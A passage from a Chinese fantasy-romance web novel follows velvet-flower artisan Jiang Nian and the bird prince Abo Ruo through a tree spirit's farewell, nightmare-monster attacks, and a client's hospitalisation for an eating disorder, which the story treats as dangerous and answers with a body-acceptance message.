“小棠木魂回来的一瞬间,我才知道她一直在为我制作海棠花冠。今年是她开得最繁盛的一年。”
每年的百鸟晚宴,凤凰都会轮流戴九大花主用鲜花制作的花冠。而九类花冠则是由九大花主推选当年盛开得最繁盛的九类花树制作并进献。
可惜,海棠娘子的花冠尚未制作完成,便已枯死花尽。
“曾有海棠花主频频提议让别的海棠花树另制作一顶花冠,都被我驳回了。我知道小棠未了的心愿就是制作完成海棠花冠,所以我下令今年不用鲜花而改用绒花,并拜托姜小姐你制作了九顶花冠。”
姜念眼中已经潮润。
她看向海棠娘子,心中无限酸楚,却听见海棠娘子道;
“姜小姐,我……已枯死,再也长不出花了。凤凰知道我未了的心愿托你帮制作了这顶绒花花冠,我已……无憾。感谢你,花冠制作得很美。”
虽声似游丝,却从容。
忽然,她无比痛苦地呻吟起来,焦枯的枝丫开始断裂落下。
一道金光环绕在她四周,断裂的枝丫又重新接回。
阿波若摊掌施力,沉声:“我可以缓解她的痛苦,但估计她撑不过今夜了。”
姜念攥紧他的胳膊,急道:
“阿波若你能不能用那个神光试试,你那么厉害说不定可以救海棠娘子!”
明知无能为力,但见姜念一脸心焦又期望的眼神,阿波若仍是加大掌心施力,奋力一博。
海棠娘子:“姜小姐、阿波若王子,多谢你们费心。但我的木魂已涣散,药石无医了。”
凤凰也心知肚明。
根据星球和平法则,阿波若的神力几乎被封禁,不能随便使用。以他现有的神力,也是无力回天。
但一丝奇迹还是出现了:
海棠娘子断裂的树干慢慢愈合,焦黑也褪去,仿佛从未被烧焦过。只是仍长不出花来,光秃秃的一棵树。
阿波若:“那些焦伤不会再令她痛苦。这点事还难不倒本王子。”
但他的声音也低下去,朝凤凰道;“老凤凰,你还有什么话就赶紧说吧。”
随后转身看向远处。
姜念当即了然,立刻从小绣包里取出一枚海棠绒花系在海棠娘子的树枝上,绒花栩栩如生,泛着月光映照的光辉,正如本身自树上新生长出来一般。
她轻轻推了一把凤凰向前,自己也转身看向远方。
凤凰戴上海棠花冠,看向海棠娘子:
“小棠,有一句话我一直想对你……”
“凤凰陛下,我最讨厌你了。”
没想到,海棠娘子抢先道。
一时间,凤凰愣住。
姜念和阿波若也齐刷刷回头,张大了嘴。
海棠娘子:“我最讨厌你,整天油嘴滑舌、和我斗嘴;我最讨厌你,百鸟之王却偏心,做无用之功;我最讨厌你,整天哭哭啼啼愁眉哭脸、不思茶饭!”
她的声音越来越破碎,随时要消散在风中:
“我最……最讨厌你,是个……傻瓜。”
凤凰却笑了。
他仰头闭上眼,再睁开眼时又是一副放浪不羁的模样:“好呀,我就是油嘴滑舌,我就是要天天和你斗嘴、烦你、让你讨厌!我偏要偏心!我偏要……”
海棠娘子已经听不见了。
凤凰呆在那,一动不动。
连夜晚的风,似乎也静止了。
“……我偏要,做个傻瓜。”
他喃
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喃。
抬头望向天际的一汪圆月,“小棠,今夜月色如此好,与君共赏可好?”
“你不说话,我就当你答应了哦。”
凤凰轻轻道。
—
“阿波若,你觉得海棠娘子还会再开花吗?”
姜念远远望着那一树、一鸟并立在浓浓月色下的背影,突然问道。
“她的木魂已断。”
阿波若开口。
虽然不想打击姜念,但这就是事实。
世间法则,天命难为。
“可我觉得,她会再开花的。”
姜念扭头看过来,
“她还会再回来的。”
你就这么肯定?
阿波若不信。
嗯。
姜念眼神笃定。
你知道吗,小时候在外婆家有一株桃花树被冻伤了,枯萎了,光秃秃的一朵花也不长。
所有人都说它活不了了。
可我偏不信,就把一朵桃花绒花绑在树枝上。远远看过去,就像桃花树又开出了花。
别人还笑我傻,笑我是个小孩子什么都不懂,自欺欺人。
可我每天都去看那株桃树,也和外婆一起去帮它浇水、偶尔施肥。
一天天、一月月、终于有一天,姜念眼眸晶亮如星,在那天的早晨,我看见那株桃树长出了新芽。
而新芽旁,是绑着的那朵绒花,凭风吹雨打,那朵绒花始终傲立枝头。
那株桃树活了。
后来开出了整个春天最繁盛的桃花。
她笑起来,灿若春桃。
—
愈来愈快的心跳声在鼓噪。
阿波若旋即撇过眼神,可无济于事,反而更猛烈的在耳中轰鸣。
“你,不是在编故事吧。我怎么感觉听过?”
他清了清嗓子,故意反问。
这个故事似乎真的在哪里听过,但想不起来了。
现在他脑子里除了空白还是空白。
—
她的声音没有如期出现。
阿波若一秒也忍不住,瞥了眼去偷偷瞧她。
却见姜念始终望向远方,望向那月色笼罩下的两个身影。
“你知道海棠花的花语是什么?”
她开口,柔柔的。
阿波若静静望着她,
忽然很希望时间就此停驻,不再流走。
“是什么?”
他问。
“是深深的暗恋。”
她回过头来,歪头看向阿波若。
—
见阿波若面无反应,
她又扭过头去。
呆瓜一个,完全不能和他分享磕CP的感动。
要是她的发小,小云云在就好了。
姜念自顾自继续为凤凰和海棠娘子的感情惋惜又动容。
但她不知道的是,
就在刚才她短短一句话的瞬间,
阿波若的心也随之骤空了一拍。
紧接着似排山倒海般狂烈的心跳声,
完全将他淹没……
11. 姐姐、姐姐
下雨了,
一场秋雨一场凉。
姜念身体太虚已经披上了乳白披风,底下身穿唐制霞红配浅鹅黄印通草花襦裙,虽然都是为了省钱淘来的最最最便宜的便宜货,但一穿在她身上却莫名华贵了好几分。
与往日的清冷素雅大为不同,今日的她装扮愈显富丽。
特别是发髻上簪的一支新品绒花簪子,流光赤凤海棠发簪,凤凰赤红华丽大气、海棠花粉白相间华雅,二者相依相偎,再缀以珍珠、粉晶石制成的流苏,华美得不可方物。
她略一低头,发簪上的流苏便琳琳琅琅荡开来,连带着绒花凤凰海棠似要展翅飞去,妍丽无比。
直播间里纷纷下单:
【姐姐太太太太美了!新品美哭我了我又要剁手买买买!】
【哇塞美爆了好吗!姐姐今天是贵妃吗?我第一次见还有凤凰造型的绒花发簪!刚好可以配我新买的唐襦裙~】
【好美好霸气的发簪!老板手好巧呀!这是独家吧好像在别家没有看到过这款。】
【凤凰海棠好美的名字~原来这种花是海棠花呀,之前我一直错认成樱花呢。】
……
姜念拾起一支凤凰海棠发簪,在镜头前边展示边介绍,凤凰象征着吉祥富贵,海棠花代表深深的爱恋,更有花中神仙的美称,寓意富丽华安,情深长久。
通常以凤凰为灵感的绒花发簪多为凤凰牡丹、凤栖梧桐,而这款流光凤凰海棠发簪是姜念独家创意,别出心裁,令人眼前一亮。
见订单数不断攀升,姜念心中高兴又感慨:
她感念于订凤凰与海棠娘子的爱情,生发出灵感设计了这款发簪。
凤凰于飞,海棠依旧,情深岁岁年年。
—
临近下播时,光是凤凰发簪就卖了三十二支,最后几分钟的时候又来了一位大客户:
这位客户是一位年轻妹妹,古风汉服设计师,她私聊姜念仔细询问了直播间商品架上每种花样的绒花饰品,都相当满意。
最后更是一口气下单了十八支凤凰发簪,外加一些别种花样的发簪和发梳。
还提出私人订制绒花饰品,约姜念线下面谈。
但姜念却犹豫了。
尽管她很想拿下这笔私人订制单,可当年在丰林市“毒绒花”事件爆发后,铺天盖地的网暴加上上门辱骂威胁,她被逼得连门也出不了,更不敢出。
后来逃到榕宁,也是过了好几年她才恢复直播。
在榕宁的这几年,除去之前偶尔去荣丝线厂找娟姐买丝线,还有不得不去菜场买菜,她就蜷在出租屋里,哪儿也不去。
她不想见人。
也有点怕见人。
下播后,面对那个客户妹妹发来的那一条讯息,她纠结再三,还是不知怎么回复。
嗙、嗙、嗙。
房间的窗户又响起了怪异的声响。
?
这情形,怎么有点似曾相识?
还没反应过来,房门又嗙地一声打开,阿波若健硕的身影已闪现挡在她面前。
戴着袖套,围着围裙,手执一把湿漉漉的拖把剑指窗户。
窗户划拉一下被拉开,一个黑团炮弹似的冲进来:
“姜小姐!你要救我呀!”
冲得太快,几乎冲出残影来。
但阿波若指尖一挑,那黑团即刻被定在半空中。
凤凰使者?
姜念眨了眨眼,这不就是凤凰使者——绶带鸟嘛!
自从第一次见凤凰使者后,她立刻就去网上查了查,才知道原来他是绶带鸟。
绶带鸟最具有标志性的就是有两根长长飘带般灵动的尾羽,有“林中仙子”的美名。
但再仔细瞧,眼前这只小鸟长得又和凤凰使者并非一模一样,更奇怪的是,他头上包着一片树叶,像戴着一块头巾。
好像偷地雷的。
姜念心里想笑,起身先去将窗户关上。
再回来看着那只小鸟,抬手想帮他将头上的叶子摘下。
“啊啊啊啊啊啊不要摘不要摘!”
那只绶带鸟发出尖锐的暴鸣。
吵死了!
阿波若皱眉,瞬间绶带鸟就被禁了声。
姜念:先放了它吧。它应该有话要讲。
阿波若不情愿哼一声。
但很快绶带鸟翅膀扑扇,叽叽喳喳朝姜念冲过来:
“姜小姐!姜姐姐、姐姐!你要救救我不然我就不活了啦!”
一头扎进姜念怀里,一脸可怜巴巴样儿。
阿波若:!!!
喂喂喂你个小鸟往哪里乱飞!
说着就要上手将鸟拽开扔出窗外十万八千里。
可绶带鸟紧贴姜念,绒绒的羽毛蹭她的手,令人心软软。
她挡开阿波若的手,低头柔声问怀里的绶带鸟:你怎么不想活了呀?是不是遇见什么难处了呀?
声音软软糯糯,可温柔了。
阿波若:!!!
这么温柔似水的声音,他还没听姜念对他说过呢,倒先被一个不知哪来的野鸟儿先听上了!还左一口姐姐、右一口姐姐地叫!叫什么叫!
锋刀般的眼神狠狠扎向绶带鸟。
绶带鸟可怜兮兮缩在姜念怀里:“姐姐,阿波若王子为什么要瞪我,他好可怕呀!”边说边要哭起来。
阿波若:哇绿茶鸟呀!!!!
梆硬的拳头已经呼之欲出。
姜念无奈,只好先对阿波若道“要不你先把眼睛闭上吧”,再来安抚怀中的小可怜:别怕,你来找姐姐是有什么事呀?慢慢和姐姐说好不好?
绶带鸟点点头,慢慢说明了来意:
他觉得自己很丑,奇丑无比。因为在百鸟晚宴上知道是姜念帮凤凰陛下制作了绒花花冠,所以也想来找姜念。
姜念不解:“所以你来是也想做一顶花冠?这倒是不难。但我不认为你丑呀,相反你很漂亮。”
特别他那两根长长的白色尾羽,飞翔时摇曳生姿,灵动无比。
多美呀。
但绶带鸟摇摇头:
“我的头顶和别的同类长得不一样,周围的鸟都嘲笑我。因为我的头顶才每次都落选凤凰使者的选拔。别的同类都当得了,就我当不了!我不想活了啦!”
“别别别!你的头顶怎么了?让姐姐看看行吗?”
“那,姐姐你看了不许笑,一点都不许笑哦!”
姜念狠狠点头。
只见绶带鸟像花尽了毕生的勇气,一点点将头顶包着的那块绿叶摘下……
姜念:!!!死嘴憋住别笑啊!
阿波若:啊哈哈哈哈哈哈哈哈!
绶带鸟的头顶有一块白,只支棱着稀稀拉拉的一点毛,和周围泛着辉光的蓝黑羽毛形成强烈反差——
潦草得像被炮轰了一样。
鸟,也有秃顶的。
与其说是丑,不如说是,超级喜感!
拼命抿嘴把嘴角肌肉都抿僵了,姜念可算把笑咽回了肚里,一点也没笑出来,
反手一巴掌呼在阿波若还在笑的嘴上,捂紧。
阿波若:!
但绶带鸟哀嚎一声:不活啦不活啦!我太丑了我不活了我要去shi——
飞起来一头直往书柜上撞!
惊得姜念脸色大变,摊开尔康手:
不要!!!
快抓住它!
老天奶呀!我的绶带鸟祖宗你不能撞死在这!
你可是国家二级保护动物啊!
—
躺在软软的床上,姜念才终于能彻底放松下来。
一个好消息是:绶带鸟终于不再寻死觅活,并下
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了定金,订金的数目还挺可观。
一个坏消息是:他要姜念帮他制作一顶假发,最完美的、能以假乱真的假发。
说实话她还真不知怎么帮一只绶带鸟制作假发。
想想都蛮离谱的。
甚至现在回想起来都有点后悔:当时怎么就鬼使神差地接下了这个订单呢?这要怎么做呀,想想她都要头秃了!
但见绶带鸟当时那副可怜巴巴的样儿,又实在不忍心拒绝,而且她发现在短短的几分钟谈话时间里,绶带鸟就飞去她茶杯旁以水当镜子照,起码不下三十次。
要么看他头顶的树叶有没有歪、要么看他翅膀上羽毛有没有沾灰、要么就是看他无比精美的两条长尾羽上的每一根毛是不是一样长……
好焦虑,极度的容貌焦虑。
绶带鸟要求这么完美,这笔生意恐怕难做呀。
难、难、难、做生意难于上青天。
但他给的那些定金金叶子……
给的实在太多了。
只能拿下!
还有和那个客户妹妹线下见面的事,去还是不去,明早肯定要给人家一个回复了。
好多事啊,头好麻。
姜念一把扯过被子盖住脑袋。
—
四周静得可怕,黑影浓聚起来。
姜念呼吸越来沉。
动弹不得。
眼见黑影愈来愈近,突然探出一张七窍流血的新娘的脸——
她身穿中式喜服、头戴绒花花冠、惊叫着亮起手上尖刀狠狠向姜念胸口刺去!
光明三叉戟刺过来,直接将手持利刃的新娘打得粉碎化为泡影。
黑影也尽数被消灭。
一切重新归于平静。
阿波若收回三叉戟,来到姜念床前,单膝跪下。
见她满头大汗。
摊开掌,手轻轻滑过她额头上方,替她疗愈。
她又做噩梦了。
又是这个七窍流血的尖刀新娘。
每次进入姜念梦中帮她除梦魇,他都会见到这个尖刀新娘,极其凶狠,是她梦魇的根源之一,也是她的心魔之一。
姜念,你究竟得罪了什么人?
她会对你那么狠?
阿波若哼了一声,
却感觉心像被什么东西刺了一样。
但说不上来什么感觉。
在梦境中,姜念闭着眼睛,素着一张脸仍精致得不可方物,华如美玉。
不知不觉中,阿波若慢慢凑近,看她。
“姐姐。”
他小声唤。
我、我才不是在叫你呢。恶心死了。
心里立刻否认。
但口中却又不自觉的,无法扼制的,
又唤了一声:
“姐姐。”
—
“阿波若——”姜念突然呓语。
震得阿波若心中一荡:
她,在叫我的名字。
他忍不住再贴近她,任由她细细的鼻息拂过面庞。
却听见;
“——你洗衣服又把深色和浅色的混在一起,串色了罚你洗十遍!”
阿波若:……
紧接着,她翻了个身,一个巴掌朝他劈头落下来。
他躲也不躲。
也不知道为什么,在现实中姜念总是这样用手摸他的脸,几乎没太大的感觉,只是像被轻轻挠了一下,痒痒的。
还有点,爽爽的。
现实中摸了还不够,现在在梦境中,她也要摸?
明白了,
她就是喜欢摸我的脸。
阿波若唇角止不住的起飞。
迫不及待伸脸迎上去——
啪!
巨响的一声,
他被姜念落下的巴掌直接扇飞滚了好几圈去……
12. 你一直很美(上)
一觉起来,姜念感觉身上的乏力松泛了不少。
昨天睡得还不错,没做梦。
但似乎又做了梦。
完全不记得了。
她梳好头发,换上一身墨蓝旗袍加大衣,旗袍穿得久了有点洗发白,大衣袖口原先起了球也被她仔细修剪过了。
想当初她在丰林的别墅里,有一整间衣帽间全是她的名贵旗袍、汉服以及孤品香云纱新中式套装。后来为了抵债,能卖的全卖了。
现在的这一套,已经是她最贵、最得体的衣服了。
待会儿要去零卡咖啡店见客户。也许是昨晚休息得好,一早她就下定决心,约那个客户妹妹线下见面。
一直逃避不是办法,她总要尝试走出第一步。
化好了淡妆,她看向镜子中的自己,却意外正对上那个从远处看过来的眼神。
“阿波若,你偷看我?”
“谁要看你?!”
也不知怎么好端端的一大早阿波若就像抽风了一样生闷气,问了也不说,也不知哪里惹到他了。
难道王子病又犯了?
他远远坐着背身不理人,一双巨翅将自己包裹起来。
仿佛一颗巨型毛绒蘑菇。
又有点好笑。
“我等下去见客户,那家咖啡店有买草莓大福要不给你带……”姜念刚出声。
“我最讨厌草莓大福!难吃死了!”
阿波若狠声。
姜念翻起大大的白眼,爱吃不吃不吃我还省钱。
摔门而出。
等姜念出了门,阿波若将头从翅膀里探出。
他是在生气,只不过是在生自己的气。
昨晚在姜念梦境中,他被狠狠扇了几巴掌,脸到现在还是火辣辣的疼。
明明在现实中被她扇几乎没感觉,怎么在她的梦境中会那么疼?
他想不明白。
更想不明白的是,他明明应该非常生气,气姜念扇疼了他。
但事实却是,他假装在生她的气。
却一刻也忍不住想去看她。
方才通过镜子和她目光对视的瞬间,他的心狂跳不止。
他已经无法,不去想她。
巨翅重新将自己包裹住,阿波若决定进入虚空修炼。
一旦进入虚空修炼,万事都无法打扰到他。
与整个世界暂时隔绝开来。
这样,
总可以先不去想她了吧。
—
零卡咖啡店。
姜念先到了,点了一杯气泡水。这家新咖啡店装修十分新潮,有不少网红小姐姐小哥哥都在拍照打卡。
而最新奇的是咖啡店里的菜单,每一种饮品和甜品都十分详细标明了卡路里,甚至还有魔鬼减脂套餐,精确到毫克。
店门外一整面墙绘着“瘦成一道闪电”、“你是最美‘腰’精”的大字标语。
店里更是随处可见体重秤,有体重秤的地方特意装饰得华丽又张扬,不少身形极为苗条的女孩子都争先踩上去称重,看见数字后惊呼几声,仿佛登上王位一样得意。
也有一些女孩们只在一旁看着露出羡慕的目光,但始终不敢踏上一步。
短短几分钟,已经有不下五六个小姐姐甚至小哥哥来找姜念拍照,直夸她貌美身材又窈窕,真羡慕她这么瘦。
搞得姜念都不知说什么,连连拒绝。
她身体弱,一直都很瘦还嫌自己太瘦了,想多吃点长胖一些呢。没想到,竟还有羡慕她的。
正想着,客户妹妹到了。
短短聊了几句,客户妹妹乔茉告诉姜念在丰宁的时候就买过她工作室售卖的绒花,十分惊艳很是喜欢。
后来工作室倒闭姜念也离开了丰宁,她还难过了很久。
姜念一颗心重重沉下去,但还是踟蹰着问乔茉知不知道当年毒绒花的事。
乔茉说知道,但她觉得姜念既然能设计并制作出那么绝艳的绒花,就不会做出用毒绒花害人的事。
一句话,在姜念潮暗的心底点亮了一束光。
先前的不安尽数消散。
二人越聊越投机。
很快,她就帮乔茉敲定了私人订制绒花发簪的设计。
但在聊天过程中,她发现乔茉至少有175以上的个子,可看着体重还不足70斤,那手腕细得只剩一把骨头,瘦得人都脱了相。
姜念感觉自己已经很瘦了,但看着乔茉,都担心她会随时晕倒。
客户的隐私她也不好多问,便只能让乔茉吃点桌上的蛋糕点心,但乔茉只喝手里那杯黑咖啡,其他什么也不吃,还时不时跑去称重。
念念姐,我去洗手间补下妆。
乔茉起身,离席而去。
叶片般薄的身子仿佛吹一口气就能被吹倒。
看着都让人心疼。
左等右等,姜念也拿上化妆包顺便去补妆,更想去看看乔茉:
怎么去了这么久?
她莫名心里七上八下的。
等推开女洗手间的门。
却见最尽头的地上,化妆品撒落在地,一个人晕倒在那。
正是乔茉。
—
“来人啊有人晕倒了!”
姜念急忙转身要冲出去叫人帮忙,却发现卫生间的怎么也打不开。
她使劲拍门,试图引起外边的人注意。
但无济于事。
她立刻回身跑去乔茉身边,见她昏迷脸色苍白但万幸没有磕伤,一边小心将她扶靠在自己身上、一边拨打电话求救。
可手机却一点信号也没有。
头顶明亮的灯光骤然暗淡下来,阴暗的绿光笼罩着每一处角落。
墙上的几扇大镜子前笼起了一层浓雾……
骷髅似的、长发披肩的几个女人从雾中闪现,在镜中张开血盆大口。
“要瘦、要瘦、还要瘦——”
她们诡异地笑着,齿间挂满绿色粘液。
姜念几乎要失声尖叫。
身体根本动不了,恐惧快要将她吞噬。
一阵毛骨悚然的低吼自头顶传来,她好不容易抬起眼眸:
只见一团巨大的黑影团缓缓从天花板上淌下来,伸出无数绿得发黑的粘液触手。
“姜念,好久不见——”
它发出可怖的笑声。
是噩梦灵的声音!
姜念几乎心脏骤停,眼见一只挂满粘液的触手朝她脖子袭来,可就快要掐住她时却像被什么东西蛰了一样,痛苦地缩了回去。
她低头看,是挂在胸前的小绣袋透过衣服在一闪闪发着光。
难道,噩梦灵害怕的是它?
黑影团见伤不了姜念,便转头抓住昏迷的乔茉将她拖走,不断低吼:
“等把那个蠢女人的血吸干,再来掏你的心献给噩梦灵大人。姜念,你是逃不出噩梦灵大人的手掌心的。”
它鬼魅的声音混合着恶臭如刺刀般刮着姜念的每根神经:
“你的血闻起来真香呀。可惜,要喝也只能噩梦灵大人先喝——”
说着露出上百颗獠牙对着昏迷在地的乔茉咬下去。
姜念一把取下簪在发髻上的绒花簪子,朝自己左手心猛的一划,鲜血登时涌出来。
果然,黑影团发狂般的转头冲她咬过来。
顾不得血流如注的疼痛,姜念左手扯住发光的绣袋作抵御,右手高举绒花簪子对准黑影团的眼睛便是一顿狠戳。
戳得它惊声狂嚎不断扭曲。
她猜对了,它害怕的是绒花。
所以用绒花簪子可以刺伤它,狠狠地刺它。
但仅仅刺伤它远远不够,姜念身体在剧烈发抖,她捂紧受伤的手踉跄着扑在乔茉身前,转身将人护在身后。
她好怕、真的好怕,眼皮也越来越重。
快要晕过去了。
但她不能倒下,否则只有死。
狠命攥紧手里的簪子,死死盯住扭动的黑影团。
但黑影团慢慢散开,显现出的却是身穿中式喜服、头戴绒花花冠冠唇角淌血的新娘。
举着尖刀一步步朝她走来。
珰——
姜念手中紧攥的簪子跌落在地,发出清脆的响声。
但她什么也听不见了。
只眼睁睁见新娘整个身体破成一个獠牙满满的血口,朝她猛冲而来——
完了。
姜念眼前开始飞速闪过一幕幕过往,像弥留之际的走马观花。
还有一张模模糊糊的脸,阿波若的脸。
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没想到,她死了之后第一个回忆的人,
竟然会是阿波若。
他肯定要狠狠嘲笑她螳臂挡车、妄想杀死黑影团甚至噩梦灵。
那张脸越来越清晰——
她看见的却是阿波若无比焦灼又心痛的眼神。
呵,看来她真的死了。
死得脑子开始放飞自我胡思乱想暴走了。
—
阿波若心如刀绞,他赶来的时候正撞见姜念晕过去,无异于在他心口狠狠插了一刀。
他将姜念紧紧搂在怀里,催动神光之力为她疗愈。很快她那只流血的手便愈合了,人也渐渐清醒过来。
“姜念、姜念!”
他急唤她的名字。
姜念抬起眼眸:“阿波若,我死了吗?你不是、不是在家吗,怎么…在这?”
阿波若:“你没死,我不会让你死的。”
他抬起头回眸,无尽的压迫感。
早被他倒吊在半空中无法动弹的黑影团瞬间在光明三叉戟的锋影下碎成七八块,跌在地上如烂肉一般。
光明三叉戟回到阿波若手中,他眼皮掀也没掀一下,反手狠狠扎向地上一只抽搐的触手。
“就是你,刚才还想去抓姜念?”
话落,那只触手瞬间爆了,化为齑粉。
还有你们。他冷冷的眼神扫过去,地上剩下的几只触手同时爆开,惨不忍睹。
你要杀就杀!黑影团被折磨得疯狂吼叫,求生不得求死不能。
臭嘴怪,你当噩梦灵的走狗,还想让本王子亲自杀你,也配?
阿波若冷笑一声,眼中幽微,下一秒光明三叉戟就屁颠颠飞去对着黑影团猛刺。
刺得黑影团连连惨叫,但被施了禁声咒只能干嚎。
怕惊吓到姜念,阿波若侧过肩为她遮挡,手不自觉的又更抱紧她。
姜念:“阿波若,那个,你好像抱得太紧了。”
她几乎陷进他宽厚的胸肌里。
阿波若瞬间撒了手。
气氛有点微妙。
“是你太瘦,不抓紧等你又被臭嘴怪吹出来的臭气吹跑,我可不管。”阿波若嗐了声,道。
姜念:“那谢谢你啊。”
她支撑着从阿波若的怀里起身,长发一丝丝拂过他的胸膛。
一阵酥麻传遍阿波若全身。
身体无碍,手伤也痊愈了,姜念急忙去看靠在墙边仍昏迷的乔茉,满眼是焦急。
“她没事。只不过差点被噩梦灵吸干了,等再过一段时间就会醒了。”
阿波若出声。
他回过头,看着那团碍眼的东西,皱起眉。
“真臭。三叉戟,你看着办。”
话落,又悠哉回过头去。
光明三叉戟得了令,凌空滑过一个绝帅的金光弧线,狠觉利落一招直刺臭嘴怪命门。
臭嘴怪即刻爆裂,消散尽殆。
笼罩的阴暗绿光也消失了,洗手间内又恢复了正常的光亮。
远处外门外吵吵嚷嚷的。
“怎么回事这洗手间的门一直打不开,坏了呀?”、“来了来了,店长来撬锁了!”
眼见人就要进来。
怎么办?
阿波若还在这,被人瞧见一个那么高大的男人在女卫生间算个什么事!等着被骂变态被拍照上头条吧!
躲进小隔间也不是办法,他总要从这出去的。
怎么出去呀!
姜念扶着昏迷的乔茉,大脑飞速运转快冒烟了,急招手让阿波若蹲下,再一把扯过他的衣领口将人拉近。
“你除了能变鸟还能变什么?女人能不能变?”
“不能。”
“那麻雀那么小的鸟能变吧?快变呀来不及了!”
尽管不情不愿,阿波若还是变了,一只小麻雀。
怪萌的。
姜念二话不说,薅住他的后脖颈麻溜儿地塞进她带来的化妆包中,拉紧拉链。
女人特有的浓郁脂粉香气快将阿波若香晕。
粉饼和眼影盘压在他身上。
一个颠簸,他尖尖的喙子直接戳进两块裸色硅胶圆片里。
是之前被姜念洗干净后收在化妆包里的——
胸、贴。
……
13. 你一直很美(下)
门被撬开了。
姜念见势喊有人晕倒了,便和咖啡店店长将乔茉扶出去。
没过几分钟乔茉也清醒过来,但整个人虚弱得不行,姜念不放心又叫车送她去医院。
到了医院,挂号、做检查,护士见乔茉瘦得厉害都不敢给她抽血。
经医生诊断,乔茉患有极为严重的营养不良,贫血加低血糖加低血压,需要住院治疗。
病房里,乔茉躺在病床上输葡萄糖液,医生还在帮她做进一步检查。
门外的姜念透过门上的玻璃窗朝里看,慢慢回过身来。
叹了一口气。
没想到,乔茉的病竟然这么严重。医生说她再这样减肥下去随时都可能出现急性心衰,相当危险。
抬眸,正撞见阿波若那寒恻恻眼神。
想起先前他的脸,她还是忍不住嘴角抽动:
趁着医生做检查的间隙,她找了个隐蔽的地方把阿波若从化妆袋里放出来,等他变回人身时差点没把她笑喷。
他脸颊上红扑扑的两坨红,活像猴子的红屁股,一看就是腮红盘的杰作;还有那又粉又闪亮布灵布灵的睫毛,眼影盘也功不可没。
还别说,真有点……妩媚。
而左一道右一道蚯蚓样的黑线,睫毛膏在他俊美的脸上鬼画符。
像一只丑萌丑萌的小野猫。
“姜念!你竟敢将本王子扔进那么小的包里!”阿波若咬牙狠声,配上那忽闪着艳丽粉嫩的红脸蛋,说不出的怪异。
姜念笑得岔了气,扯出化妆镜让他自己看。
阿波若:!
当时被困在化妆包里,他被各种不知名的香盒盒压住,挣扎中不是掀开了这个盒的盖儿被撒了一脸粉,就是被那个棍儿戳了脑门。
竟没想到,他就这样被化了个女人妆。成何体统、成何体统!他堂堂光明神武阿波罗星王子的一世英名在哪!
阿嚏阿嚏阿嚏——
他被定妆的散粉痒得连打了好几个喷嚏。
姜——念!阿波若捂着鼻子,眼里都在冒火
姜念顾不得笑抽的肠子疼,掏出湿纸巾对着他的花猫脸就是一顿猛搓,再扯去男洗手间门口让他进去彻底把脸洗干净。
越想越好笑。
“你还在笑!”阿波若气得不行厉声呵,将姜念回忆的思绪敛回。
她瞧着那张气鼓鼓的俊脸,凑近他耳边悄声,“当时情况太紧急要不是那样做,怎么把你一个大男人神不知鬼不觉的从女卫生间带出来?”
哼。阿波若赌气不理,只是一味的哼哼。
“我还有事问你,那个黑影团,就是你说的臭嘴怪和噩梦灵究竟是什么关系?起初我还以为它就是噩梦灵,我听见它发出了和噩梦灵一样的声音。但好像它们不是同一个东西?还有,当时洗手间内打斗得那么激烈,可外面的人怎么像无事发生一样半点也没听见?”
哼。阿波若仍是这一句。
头顶呆卷毛一颤一颤的。
你不说,就是不懂咯。姜念欲情故纵,假装转身要走。
下一秒手腕就被擒住,浑厚的声音自头顶低低传来:“你才不懂!当时你在洗手间喊破嗓子门外的人也不会听见,因为你们被噩梦灵困在了噩平行空间,那是梦境世界与现实世界的交汇处。”
“噩梦灵只能在梦境世界游走并且以吸食用人的恐惧与噩梦为生。而黑影团就是它为了潜入现实世界而创造出来的载体,通过附身在黑影团上它就可以轻易在现实世界继续吸食人的恐惧,甚至将人吸干杀死。”
“臭嘴怪只是黑影团的一种,噩梦灵会根据不同的人创造出不同的黑影团便于吸食恐惧。那个洗手间汇集了太多人的恐惧,一股呕吐味臭死了!”
恐惧、噩梦。姜念一下心里全明白了:乔茉大概和她一样,饱受梦魇的困扰。乔茉晕倒在卫生间,让噩梦灵借机潜入现实世界作恶,而她误打误撞正好也被拉进噩平行空间,两人差点命丧在那。
而阿波若说洗手间一股呕吐味,虽然她没有闻到,但猜测是曾经无数个女孩因为怕胖而拼命减肥留下的痛苦痕迹。
她知道,有很多女孩会通过催吐的方法减肥,甚至上瘾。
好女不过百、身材焦虑、容貌焦虑。
是悬在无数鲜活生命头顶上随时落下的利剑。
—
“是乔茉家属吧?有点事和你说一下。”医生从病房里出来,朝门外的姜念道。
医生告诉她,乔茉暂时状态稳定,但因过度减肥节食催吐患有ed,也就是进食障碍。这是一种很严重的心里疾病,不及时干预治疗只会越来越严重直至死亡,建议尽快住院进行专项治疗并配合营养科调理。
姜念推开门,看见乔茉病恹恹地半靠在床上,整个人陷在宽大的白被子里几乎瘦没了。
念念姐,她虚弱地张开口,泪从眼角旁滑落。
她告诉姜念,她知道是自己拼命减肥才造成今天这样的。但就是无法控制自己:曾经她最胖的时候是128斤,因为个子高骨架大显得格外壮。加上她身为汉服设计师和模特,一穿上汉服经常被嘲讽又胖又壮。
而她的男朋友更是天天嘲笑她的体重,常说好女不过百,希望她更苗条更显得小鸟依人。从此她就不择手段的拼命减肥,只吃蔬菜水果一点碳水都不吃、饿了就喝黑咖啡抑制食欲、吃减肥丸、喝减肥茶;如果饿得实在不行吃了正餐,就要跑去厕所吐出来,周而复始。
久而久之体重就从128斤降到了69斤,她仍然不满足照镜子的时候还是觉得自己很胖,焦虑得不行。几乎每天都做噩梦,梦见自己又变成一个大胖子,又胖又丑。
说着说着,乔茉痛哭起来。
姜念心疼地抚摸她的头发,柔声道:“你很美,一直都很美。你个子那么高,128斤都还很瘦,一点都不胖。”
“而且高矮胖瘦肤色黑或白本来就不应该是衡量美丑的标准。胖有胖的美,瘦也有瘦的美。美不应该被定义,应该百花齐放。”姜念从发髻取下桂花绒花簪子,“就如有人嫌桂花细小不起眼,但它香气馥郁芬芳;都说海棠无香,可它却是花中神仙,华贵典雅。”
她将簪子簪在乔茉半扎的发髻上,送给她。
鲜丽的桂花黄衬得乔茉苍白的脸色都有了生气,精神了不少。
“永远做你自己。别人的指指点点算个屁。”她笑起来。
这句话,既是她想对乔茉说的,也是她想对自己说的。
“谢谢你,念念姐。”乔茉终于笑起来。
姜念温柔为她擦拭眼泪,“我也要谢谢你,你那时在咖啡店对我说的那番话给了我勇气,谢谢你一直愿意相信我。”
乔茉用那只没有打针的手轻拍了拍姜念的手背。
二人心里都暖暖的。
可在这时,乔茉的手机响起来,是她男朋友打来的。
她男朋友质问乔茉怎么还不回家帮他做饭,他快饿死了,还说看中了一款新游戏装备让乔茉现在给他转钱买。
每一句都精准踩在姜念的雷点上,听得血压骤然飙高。
